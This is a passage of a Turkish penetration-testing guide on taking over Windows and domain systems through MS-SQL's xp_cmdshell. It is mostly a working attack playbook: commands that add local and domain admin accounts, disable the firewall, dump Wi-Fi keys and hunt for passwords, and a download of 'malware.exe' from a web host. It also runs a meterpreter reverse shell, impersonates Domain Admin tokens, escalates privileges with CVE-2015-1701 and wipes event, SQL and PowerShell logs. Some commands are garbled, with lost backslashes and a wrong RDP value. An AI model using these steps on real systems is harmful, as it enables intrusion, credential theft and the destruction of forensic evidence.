Dip Not: MS-SQL 2012, 2014 ve 2016 sürümleri varsayılanda “MS-SQL Servis Hesabı” ile
kurulmaktadır. Eğer sistem yöneticisi bu hak ve yetkileri değiştirmediyse, servis hesabı
yetkilerine sahip olacağız. Servis hesabı yetkileri ile yönetimsel komutlar
çalıştırılamamaktadır. Ancak yukarıdaki örnekteki gibi eğer servis hesabı, sistem hak
ve yetkilerine ya da yönetici hesaplarından birinin hak ve yetkileri ile kurulmuş ise
yönetimsel komutlar gönderebiliriz.
Dip Not 2: Bundan sonraki kullanılacak komutları geliştirdiğimiz uygulama üzerinden
sisteme göndereceğiz.
3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme
Aşağıdaki tabloda yer alan komutlar ile yerel bir kullanıcı hesabı oluşturabilir ve
oluşturduğumuz hesaba yönetici hak ve yetkileri tanımlayabiliriz.
İşlem Komut
Yerel Kullanıcı Ekleme EXEC xp_cmdshell 'net user kullanıcıadı şifre /add';
Yetki Verme EXEC xp_cmdshell 'net localgroup administrators kullanıcıadı
/add';
Kullanıcı Silme EXEC xp_cmdshell 'net user kullanıcıadı /del';
Mevcut Kullanıcının
Hak ve Yetkilerini
Öğrenme
EXEC xp_cmdshell 'net user kullanıcıadı';
Eğer elde ettiğimiz MS-SQL kullanıcı hesabı “Domain” kullanıcısı ve domain’de de
yetkili bir hesap ise, aşağıdaki komutlar ile kullanıcıyı domain’e ekleyerek
yetkilendirebiliriz.
Domain Kullanıcısı
Ekleme
EXEC xp_cmdshell 'net user kullanıcıadı şifre /add /domain';
Domain Admin Yetkisi EXEC xp_cmdshell 'net group "Domain Admins" kullanıcıadı
/add /domain';
Domain Kullanıcısı
Silme
EXEC xp_cmdshell 'net user kullanıcıadı /del /domain';
Mevcut Domain
Kullanıcısının Hak ve
Yetkilerini Öğrenme
EXEC xp_cmdshell 'net user kullanıcıadı /domain';
MS-SQL Kullanıcısı eklemek, hak ve yetki tanımlamak için de aşağıdaki komutlar
kullanılabilir.
MS-SQL Kullanıcısı
Ekleme ve “sysadmin”
Yetkisi Verme
USE [master]
CREATE LOGIN eyup
WITH PASSWORD = N'P@ssw0rd1'
EXEC sp_addsrvrolemember @loginame = N'eyup', @rolename =
N'sysadmin';
Komutumuzun uygulama üzerinden çalıştırılması ve çıktısı aşağıdaki gibi olacaktır.
EYÜP ÇELİK 29
http://www.eyupcelik.com.tr
29
3.c.2 Windows Servislerini Yönetme
İşlem Komut
Servisleri Listeleme EXEC xp_cmdshell 'net start';
Servis Çalıştırma EXEC xp_cmdshell 'net start "servis adı"';
Servis Durdurma EXEC xp_cmdshell 'net stop "servis adı"';
3.c.3 İşlemleri Yönetme
İşlem Komut
Çalışan İşlemleri Listeleme EXEC xp_cmdshell 'tasklist';
Çalışan İşlemleri ve
Bağımlılıklarını Listeleme
EXEC xp_cmdshell 'tasklist /m';
Uzaktaki Bir Bilgisayarın
İşlemlerini Listeleme
EXEC xp_cmdshell 'tasklist /s ip /v'; (Bu işlem için bir
domain hesabı ile MS-SQL'in ele geçirilmiş olması
gerekiyor. Bknz. Bölüm 2.a.1)
Bir İşlemi Kapatmaya
Zorlama
EXEC xp_cmdshell 'tasklist /PID pid /F';
Yüklü Uygulamaları
Listeleme
EXEC xp_cmdshell '"wmic product get name"';
Yüklü Bir Uygulamayı
Kaldırma
EXEC xp_cmdshell '"wmic product where
name=uygulamanınadı call uninstall /nointeractive"';
3.c.4 Dosya ve Dizinleri Yönetme
İşlem Komut
Bir Dizini Listeleme EXEC xp_cmdshell 'dir C:';
Klasör Oluşturma EXEC xp_cmdshell 'md "Klasör adı ve dizini"';
Dizin Silme EXEC xp_cmdshell 'rmdir /s /q "dizin"';
Dosya Kopyalama EXEC xp_cmdshell 'copy "Kaynak Dosya Yolu" "Hedef
Dizin"';
EYÜP ÇELİK 30
http://www.eyupcelik.com.tr
30
Tüm Dizinlerde “config”
Dosyası Arama
EXEC xp_cmdshell 'dir /a /s /b C:*.config'; (Dizin çok
büyükse "Execution Timeout"a düşme ihtimalimiz
yüksektir)
Dosyalar içerisinde Şifre
Arama
EXEC xp_cmdshell 'findstr /si password
*.txt|.xml|*.config';
Bir Dosya Okuma EXEC xp_cmdshell 'type "Dosyanın Yolu"';
3.c.5 Ağı Yönetme
İşlem Komut
Bağlantı Bilgilerini Listeleme EXEC xp_cmdshell 'ipconfig /all';
DNS Cache’ini Listeleme EXEC xp_cmdshell 'ipconfig /displaydns';
Bağlantıları Listeleme EXEC xp_cmdshell 'netstat -ano';
Etkin Bağlantılar EXEC xp_cmdshell 'netstat -an| findstr ESTABLISHED';
Routing Tablosu EXEC xp_cmdshell 'route print';
ARP Cache’ini Listeleme EXEC xp_cmdshell 'arp -a';
Bağlanılan Kablosuz Ağları
Listeleme
EXEC xp_cmdshell 'netsh wlan show profiles';
Windows Güvenlik Duvarını
Kapatma
EXEC xp_cmdshell 'netsh Advfirewall set allprofiles state
off';
Bağlanılan Kablosuz Ağ
Şifrelerini Export Etme
EXEC xp_cmdshell 'netsh wlan export profile name="Kablosuz
Ağ Adı" folder="dizin" key=clear';
Ağ Kartlarını Listeleme EXEC xp_cmdshell 'netsh interface ip show interfaces';
Uzak Masaüstü’nü Aktif
Etme
EXEC xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl
Terminal Server" /v fDenyTSConnections /t REG_DWORD /d
1 /f';
3.c.6 Windows Yamalarını Yönetme
İşlem Komut
Yüklü Yamaları Listeleme EXEC xp_cmdshell '"wmic qfe get Hotfixid"';
Yüklü Bir Yamayı Kaldırma EXEC xp_cmdshell '"wusa /uninstall /kb:id"';
3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma
Bu bölümde MS-SQL’e dosya indirme ve zararlı kod çalıştırma konularına değineceğiz.
Windows işletim sistemlerinde en büyük problemlerden biri dosya indirme sorunudur.
Çünkü *nix işletim sistemlerinde wget ya da benzeri bir araç ile rahatlıkla sunucuya
dosya indirebilirsiniz. Ancak Windows işletim sistemlerinde bu biraz zor.
3.d.1 Windows’a Dosya İndirme
Windows işletim sistemine dosya indirmek için iki temel araç kullanabiliriz. 1. “BITS
(Background Intelligent Transfer Service) Servisi” 2. Powershell.
BITS servisini kullanarak işletim sistemine dosya indirebilmek için öncelikle BITS servisini
çalışır duruma getirmemiz lazım. Bunun için “EXEC xp_cmdshell '"net start BITS"';”
komutunu kullanıyoruz. Hemen ardından dosya indireceğimiz komutu giriyoruz.
EXEC xp_cmdshell '"bitsadmin /transfer WarSQLiJob /download /priority normal
http://eyupcelik.com.tr/malware.exe C:dizinmalware.exe"';
EYÜP ÇELİK 31
http://www.eyupcelik.com.tr
31
Yukarıda bulunan komut ile bir web sayfasında bulunan dosyayı MS-SQL sunucusuna
indirebiliriz.
Programımız üzerinden dosya indirme komutunu verdik ve 7zip uygulamasını
masaüstüne kaydettik.
DECLARE @cmd NVARCHAR(250);
DECLARE @URL NVARCHAR(100);
DECLARE @file NVARCHAR(100);
SET @URL ='http://eyupcelik.com.tr/malware.exe'
SET @file='C:dizinmalware2.exe'
SET @cmd ='powershell "(new-object
System.Net.WebClient).DownloadFile('''+@URL+''','''+@file+''')"'
EXEC master.dbo.xp_cmdshell @cmd
Powershell üzerinden de ayrıca dosya indirebiliriz. Dosya indirebilmek için yukarıda
yazılı olan kodu kullanabiliriz. Kod içerisinde belirtilen URL adresinden dosyayı belirtmiş
olduğumuz dizine indirecektir.
3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma
Bir sızma testinde sadece MS-SQL veritabanını ele geçirmek yeterli olmayacaktır. Aynı
zamanda sunucuyu ele geçirmek ve sunucuda oturum açan diğer kullanıcı hesaplarını
da ele geçirmek gerekiyor. Böylece oturum açan kullanıcı hesaplarını elde ederek,
başka sunucu ya da sistemleri ele geçirebiliriz. Bu dokümanda yapacağımız işlem ise
MS-SQL sunucusuna “meterpreter” zararlısı indirerek, sunucudan ters bağlantı almak ve
ardından domain controller’a erişmek olacaktır.
EYÜP ÇELİK 32
http://www.eyupcelik.com.tr
32
MSFVenom aracı ile zararlı yazılım oluşturmak ve detayları için
http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve-
msfvenom-ile-backdoor-olusturma bu yazımı da okumanızı tavsiye ederim.
MSFVenom ile meterpreter zararlısı oluşturarak /root/Desktop/db.exe dizinine
kaydettik. Dosyayı /var/www/html dizinine taşıyalım ve ardından erişim yetkisi verelim.
Dosyayı taşıyıp yetkiyi verdikten sonra, Apache servisini “service apache2 start”
komutu ile başlatalım. Ardından “msfconsole” komutu ile Metasploit Framework’e
erişelim.
Bir handler başlattık ve reverse_tcp pyload’unu set ettik. Ardından bir job olarak
başlattık. Şimdi MS-SQL sunucusuna erişip, Kali Linux makinamızdaki db.exe dosyasını
veritabanı sunucumuza indirelim ve çalıştırarak backconnect alalım.
EYÜP ÇELİK 33
http://www.eyupcelik.com.tr
33
Dosyayı MS-SQL sunucusuna indirdik. Geriye bir tek çalıştırmak kalıyor.
EYÜP ÇELİK 34
http://www.eyupcelik.com.tr
34
MS-SQL sunucusuna indirdiğimiz db.exe dosyasını “EXEC xp_cmdshell '"cmd /c
C:dbDesktopdb.exe"';” komutu ile çalıştırdık.
Metasploit’e bağlantı geldi. Session’a eriştik. “SYSTEM” hak ve yetkilerine sahibiz.
Metasploit “incognito” modülü ile sunucuda oturum açan diğer kullanıcı hesaplarına
geçiş yapacağız.
“load incognio” komutu ile “incognito” modülü yükledik. “list_token -u” komutu ile
hesabına geçiş yapacağımız kullanıcıları listeledik. “SECURITYLABSdb” kullanıcısının
oturumu olduğunu keşfettik. “impersonate_token SECURITYLABSdb” komutu ile db
kullanışının hak ve yetkilerine geçiş yaptık.
EYÜP ÇELİK 35
http://www.eyupcelik.com.tr
35
“shell” komutu ile Windows komut arabirimine düştük. “net user db /domain” komutu
ile db kullanıcısının hak ve yetkilerini kontrol ettik. db kullanıcısı “Domain Admins”
grubundaymış. Artık bu kullanıcı hak ve yetkileri ile domain’de istediğimiz komutu
çalıştırabiliriz.
EYÜP ÇELİK 36
http://www.eyupcelik.com.tr
36
Domain’e “eyupcelik” adında bir kullanıcı ekledik ve eklediğimiz kullanıcıyı “Domain
Admins” grubuna dahil ettik.
3.d.3 Meterpreter ile Ters Bağlantı Alma
Bu bölümde Metasploit Framework içerisinde yer alan
“exploit/windows/mssql/mssql_payload” modülü ile ters bağlantı alma konusuna
değineceğiz. Önceki konularda yaptığımızın aksine tüm bu işlemleri Metasploit ile
otomatize hale getirebiliriz.
Yukarıdaki örnekte görüleceği üzere kullanacağımız modülü seçtik. Bu modül ile birlikte
kullanmak üzere PAYLOAD’umuzu set ettik. Ardından elde ettiğimiz şifre bilgisini ve
meterpreter’ın geri döneceği IP adresimiz ile portumuzu belirledik. Bu exploiti
çalıştırdığımızda artık hedefteki MS-SQL sunucusuna meterpreter zararlımızı göndererek
çalıştırabiliriz. Bu işlem için “exploit -j” komutunu kullabiliriz. Hedefe meterpreter
ajanımız gönderildikten sonra bir önceki bölümde yer alan tüm işlemleri
gerçekleştirebiliriz.
EYÜP ÇELİK 37
http://www.eyupcelik.com.tr
37
4. Hak ve Yetki Yükseltme
Şimdiye kadar yaptığımız işlemlerde MS-SQL servisi “nt authoritysystem” hak ve
yetkileri kurulduğu için yapabildik. Eğer servis bu hak ve yetkiler ile kurulmamış olsaydı
birçok yönetici yetkisi isteyen komutu çalıştıramayacaktık maalesef. Bu bölümde düşük
hak ve yetki ile kurulmuş MS-SQL servisinin hak ve yetkilerini yükseltme işlemine
değineceğiz. Bir MS-SQL sunucusu varsayılanda aşağıdaki hak ve yetkiler ile
çalışmaktadır.
MS-SQL’i varsayılan servis yetkilere aldık. Hak ve yetkilerimizi kontrol ediyoruz.
Hak ve yetkileri kontrol ettikten sonra, yeni kullanıcı eklemeyi denediğimizde erişim
hatası alacağız.
EYÜP ÇELİK 38
http://www.eyupcelik.com.tr
38
MS-SQL’ servis yetkilerinde çalışıyor ve dolayı ile kullanıcı ekleyemiyoruz yahut yönetici
hak ve yetkilerinde komut çalıştıramıyoruz. Bu bizim için büyük bir sorun. Bu sorunu
aşmak için “Windows Privilege Escalation” exploitlerinden yararlanmamız gerekiyor. Bu
noktada imdadımıza “CVE-2015-1701”, “MS15-051” zayıflığını exploit edebilen
“Taihou” yetişecektir. Yamamın yüklü olup olmadığını Bölüm 3.c.6’daki “Windows
Yamaları Yönetme” konusuna bakabiliriz.
Dip Not: Eğer ele geçirdiğimiz MS-SQL server’da “KB3045171” numaralı patch yüklü
değil ise hak ve yetkimizi yükseltebiliriz. Tabi bu aynı zamanda açıklığı gidermek için de
“KB3045171” nolu patch’i yüklememiz gerektiği anlamına geliyor.
Taihou’yu https://github.com/hfiref0x/CVE-2015-1701 adresinden bilgisayarımıza
indirelim. İndirme işlemi tamamlandıktan sonra “Taihou.sln” dosyasını çalıştırarak
editlememiz daha sağlıklı olacaktır.
Taihou’yu yukarıdaki gibi editledik. Buna göre Taihou’yu sunucuda çalıştırdığımızda bir
“Privilege Escalation” işlemi gerçekleştirecektir. Ardından yönetici hak ve yetkileri ile
“eyupcelikx” adında ve “P@ssw0rd1” parolası ile bir kullanıcı ekleyecek daha sonra
eklediği bu kullanıcıyı da “Administrators” yerel yönetici grubuna ekleyecek. Kodu
yukarıdaki gibi değiştirdikten sonra, projeyi 32 bit ve 64 bit olarak derleyelim.
Hedefimizdeki işletim sistemi hangi mimaride çalışıyorsa derlediğimiz mimarideki
Taihou’ya ait exe dosyasını sunucuya göndereceğiz. Bizim eriştiğimiz sunucu x64
EYÜP ÇELİK 39
http://www.eyupcelik.com.tr
39
mimaride çalıştığı için biz derlediğimiz Taihou64.exe dosyasını sunucuya göndereceğiz.
Bunun için de bölüm “3.d.1 Windows’a Dosya İndirme” konusuna göz atabilirsiniz.
Derlediğimiz Taihou64.exe dosyasını Kali Linux’taki “/var/www/html” dizininin altına
alalım. Ardından “chmod 777 Taihou64.exe” komutu ile dosyayı yetkilendirelim.
Bu işlemin ardından artık MS-SQL sunucusuna Taihou64.exe dosyamızı indirmemiz lazım.
Dosyayı indirirken dikkat etmemiz gereken en önemli nokta, servis hesabında çalışan
MS-SQL sunucusunun okuma ve yazma yetkisinin olduğu bir dizine dosyayı indirerek
çalıştırmaktır. Windows’da bu dizin “C:UsersPublic” dizinidir. Bu dizin tüm servis ve
kullanıcılar tarafından okuma ve yazma işlemlerine izin veren bir dizindir. Dolayısı ile
Taihou64.exe dosyamızı bu dizine indireceğiz. Ayrıca bu işlem için bölüm “2.a.1”de yer
alan SMB servisini kullanarak da dosyamızı hedef sunucuya yükleyebiliriz.
Dosyayı herhangi bir yöntem ile dizine indirdikten sonra gidip çalıştırmamız lazım.
Uygulamayı çalıştırmak için “EXEC xp_cmdshell '"dosya dizini ve dosya adı"';” komutunu
kullanabiliriz.
Uygulamayı çalıştırdıktan sonra uygulama hak ve yetkilerimizi yükselterek “eyupcelikx”
kullanıcısını sisteme ekledi ve administrators grubuna dahil etti. Daha sonra “net user”
komutu ile sorguladığımızda kullanıcının eklendiğini görmekteyiz.
EYÜP ÇELİK 40
http://www.eyupcelik.com.tr
40
Not: Bu işlem Windows Server 2008 R2 Service Pack 1 ve MS-SQL Server 2012 ve MS-
SQL Server 2014 versiyonlarında test edilmiştir. Windows Server 20012 R2 işletim
sisteminde çalışmamaktadır.
5. İzlerin Temizliği (Anti-Forensics)
Bu kısımda tüm yaptığımız işlemlerin izlerinin silinmesi kısmına değineceğiz. Malum,
yaptığımız tüm işlemler, attığımız her adım bir yerlerde loglanmakta ve sistem üzerinde
izler bırakmaktayız. Geriye iz bırakmamak adına logların temizlenmesi gerekiyor. MS-
SQL için 3 ayrı event log tutuluyor diyebiliriz.
1. Microsoft Event Log
Yaptığımız bazı işlemler Microsoft Event Log’da loglanabilir. Microsoft Event Log temel
olarak “Application”, “Security”, “Setup” ve “System” başlıkları altında loglama
yapmaktadır. Bu logların temizlenmesi için aşağıdaki komutları kullanabiliriz.
İşlem Komut
Application Log EXEC xp_cmdshell 'wevtutil clear-log Application';
Security Log EXEC xp_cmdshell 'wevtutil clear-log Security';
Setup Log EXEC xp_cmdshell 'wevtutil clear-log Setup';
System Log EXEC xp_cmdshell 'wevtutil clear-log System';
Routing Tablosu EXEC xp_cmdshell 'route print';
2. MS-SQL Log
MS-SQL standart Windows Log servisi dışında kendi loglama sistemini de
kullanmaktadır. MS-SQL Log’ları her MS-SQL servisi için ayrı bir dizinde tutulmaktadır. Bu
dizini bulmak için “EXEC sp_readerrorlog” stored procedure’ünü kullanabiliriz. Bu
procedure bize MS-SQL ile ilgili bir takım bilgiler getirecektir. Procedure çalıştırıldıktan
sonra bize dönen verinin 7. Satırında MS-SQL log dizini yer almaktadır.
Yukarıdaki ekranda görüleceği üzere bağlandığımız MS-SQL servisinin Log dizini 7.
Satırda görülmektedir. Log dizininden sonraki parametreyi silerek MS-SQL log dizinini
temizlememiz gerekiyor. Bunun için aşağıdaki komutu kullanabiliriz.
İşlem Komut
MS-SQL Log Temizleme
EXEC xp_cmdshell 'DEL /F /S /Q "C:Program
FilesMicrosoft SQL
ServerMSSQL11.MSSQLSERVERMSSQLLog*.*"';
Tabiki yukarıdaki komutu olduğu gibi kullanırsanız hata alma olasılığınız çok yüksek. Bu
yüzden sp_readerrorlog procedure’ü ile log dizinini almak zorundayız.
Dip Not: Bu komut son MS-SQL loglarını silmemektedir. Son log dosyası MS-SQL servisi
tarafından kullanıldığı için dosyaya erişim kısıtı mevcuttur. Bu sorunu aşmak için ise
EYÜP ÇELİK 41
http://www.eyupcelik.com.tr
41
logları silmeden önce “EXEC sp_cycle_errorlog” stored procedure’ü ile halihazırda
kullanılmak olan log dosyasının kullanımdan çıkarılarak yeni dosya oluşturulmasını
sağlayarak, yukarıdaki komutu çalıştırdığımızda tüm logları temizlemiş oluruz.
3. Powershell Log
Bazı durumlarda “powershell” komutları ile işletim sisteminde komutlar yürütmemiz
gerekebiliyor. Bu durumda eğer sistem powershell komutlarının girdi ve çıktılarını
logluyor ise bu logların da temizlenmesi gerekiyor. Powershell loglama eğer “Group
Policy” ile açılmış ise detaylı bir loglama yapılır. Bu detaylı loglama tüm powershell
komut ve scriptlerinin içerikleri ile birlikte loglanması anlamına gelmektedir.
Varsayılanda powershell aşağıdaki log dosyalarını kullanır.
a. Windows PowerShell.evtx
b. Microsoft-Windows-PowerShell-Operational.evtx
c. Microsoft-Windows-PowerShell-Analytic.etl
Ayrıca tüm log dosyaları “C:WindowsSystem32winevtLogs” dizininde yer
almaktadır. Bu dizinin temizlenmesi yada yukarıda sıraladığım Powershell loğlarının
temizlenmesi yeterli olacaktır.

Más contenido relacionado

La actualidad más candente

Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
Mehmet Ince
 

La actualidad más candente (20)

BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiBeyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma Testleri
 
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıUygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
 
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİGÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
OWASP ZAP
OWASP ZAPOWASP ZAP
OWASP ZAP
 
Yerel Ağda Gerçekleştirilebilecek Sadırılar ve Türleri
Yerel Ağda Gerçekleştirilebilecek Sadırılar ve Türleri Yerel Ağda Gerçekleştirilebilecek Sadırılar ve Türleri
Yerel Ağda Gerçekleştirilebilecek Sadırılar ve Türleri
 

Destacado

Destacado (14)

Metasploit - The Exploit Learning Tree
Metasploit - The Exploit Learning TreeMetasploit - The Exploit Learning Tree
Metasploit - The Exploit Learning Tree
 
Can Deger - Ben Heykır Olcam
Can Deger - Ben Heykır OlcamCan Deger - Ben Heykır Olcam
Can Deger - Ben Heykır Olcam
 
Web ddos ve performans
Web ddos ve performansWeb ddos ve performans
Web ddos ve performans
 
Penetration testing using metasploit
Penetration testing using metasploitPenetration testing using metasploit
Penetration testing using metasploit
 
Zed attack-proxy-web
Zed attack-proxy-webZed attack-proxy-web
Zed attack-proxy-web
 
Windows 32 bit-asm
Windows 32 bit-asmWindows 32 bit-asm
Windows 32 bit-asm
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
 
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
 
Man in the Middle Atack
Man in the Middle AtackMan in the Middle Atack
Man in the Middle Atack
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
 
Linux101 Temel Komutlar-Dizin Yapısı
Linux101 Temel Komutlar-Dizin YapısıLinux101 Temel Komutlar-Dizin Yapısı
Linux101 Temel Komutlar-Dizin Yapısı
 
Sızma Testlerinde Parola Kırma Saldırıları
Sızma Testlerinde Parola Kırma SaldırılarıSızma Testlerinde Parola Kırma Saldırıları
Sızma Testlerinde Parola Kırma Saldırıları
 
Linux 101 - Ağ Temelleri
Linux 101 - Ağ TemelleriLinux 101 - Ağ Temelleri
Linux 101 - Ağ Temelleri
 
Güvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya YüklemeGüvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya Yükleme
 

Similar a MSSQL Hacking ve Post Exploitation Yontemleri

Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
Mehmet Ince
 
Ceh ders not
Ceh ders notCeh ders not
Ceh ders not
faruk kan
 
Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇
Anar Godjaev
 

Similar a MSSQL Hacking ve Post Exploitation Yontemleri (20)

Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21
 
Ceh ders not
Ceh ders notCeh ders not
Ceh ders not
 
11 g RAC -ASM
11 g RAC -ASM11 g RAC -ASM
11 g RAC -ASM
 
Scada Sistemleri ve Güvenliği
Scada Sistemleri ve GüvenliğiScada Sistemleri ve Güvenliği
Scada Sistemleri ve Güvenliği
 
Log yonetimi tecrubeleri
Log yonetimi tecrubeleriLog yonetimi tecrubeleri
Log yonetimi tecrubeleri
 
Oracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi ÇalışmalarıOracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi Çalışmaları
 
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 IstanbulOracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
 
Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇
 
SCOM 2007 Kurulum,Client Discovery ve Performans izleme
SCOM 2007 Kurulum,Client Discovery ve Performans izlemeSCOM 2007 Kurulum,Client Discovery ve Performans izleme
SCOM 2007 Kurulum,Client Discovery ve Performans izleme
 
Nmap sonuclarinin yorumlanmasi
Nmap sonuclarinin yorumlanmasiNmap sonuclarinin yorumlanmasi
Nmap sonuclarinin yorumlanmasi
 
System Center Operations Manager 2007 Kurulum,Client Discovery ve Performans ...
System Center Operations Manager 2007 Kurulum,Client Discovery ve Performans ...System Center Operations Manager 2007 Kurulum,Client Discovery ve Performans ...
System Center Operations Manager 2007 Kurulum,Client Discovery ve Performans ...
 
İleri Seviye T-SQL Programlama - Chapter 11
İleri Seviye T-SQL Programlama - Chapter 11İleri Seviye T-SQL Programlama - Chapter 11
İleri Seviye T-SQL Programlama - Chapter 11
 
PL/SQL ile Akıllı e-Posta Uygulaması
PL/SQL ile Akıllı e-Posta UygulamasıPL/SQL ile Akıllı e-Posta Uygulaması
PL/SQL ile Akıllı e-Posta Uygulaması
 
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1
 
Content security policy (csp)
Content security policy (csp)Content security policy (csp)
Content security policy (csp)
 
Cp Scom
Cp ScomCp Scom
Cp Scom
 
